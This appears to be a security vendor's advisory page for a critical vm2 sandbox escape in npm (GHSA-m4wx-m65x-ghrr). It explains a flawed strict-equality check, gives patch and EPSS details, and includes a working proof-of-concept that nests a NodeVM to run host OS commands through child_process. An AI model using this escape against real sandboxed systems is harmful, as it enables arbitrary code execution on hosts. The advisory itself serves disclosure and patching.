Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

GHSA-m4wx-m65x-ghrr — vm2

CRITICALFix: patriksimek/vm2@01a7552

GHSA-m4wx-m65x-ghrr is a critical-severity (CVSS 10) remote code execution vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.

vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

Also known asCVE-2026-47137
Published
May 29, 2026
Updated
Jul 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-m4wx-m65x-ghrr.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-m4wx-m65x-ghrr by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

901other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
vm2npm
1.2Mdownloads / week

Description

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

  1. require('vm2') to get the vm2 library
  2. Construct an inner NodeVM with require: { builtin: ['child_process'] }
  3. Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid — full RCE

Suggested Fix

// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}

Or move the check after the destructuring default assignment:

const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvm2all versions3.11.4npm install vm2@3.11.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vm2 to 3.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m4wx-m65x-ghrr is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

The Red Hat Product Security team has rated the impact of this vulnerability as Moderate in Red Hat Developer Hub and Ansible Automation Platform.The affected package is present in both products as a transitive dependency; however, the vulnerable sandbox functionality is not invoked in any production code path. The…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for GHSA-m4wx-m65x-ghrr (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.1ansible-automation-platform/automation-portal:1785854226RHSA-2026:50850
Red Hat Developer Hub 1.10rhdh/rhdh-hub-rhel9:1783448184RHSA-2026:36754
Red Hat Developer Hub 1.9rhdh/rhdh-hub-rhel9:1782761244RHSA-2026:33574

Frequently Asked Questions

## Summary The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely. When `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact conf
O3 Security · Impact-Aware SCA

Is GHSA-m4wx-m65x-ghrr in your dependencies?

Find it across npm, including transitive dependencies.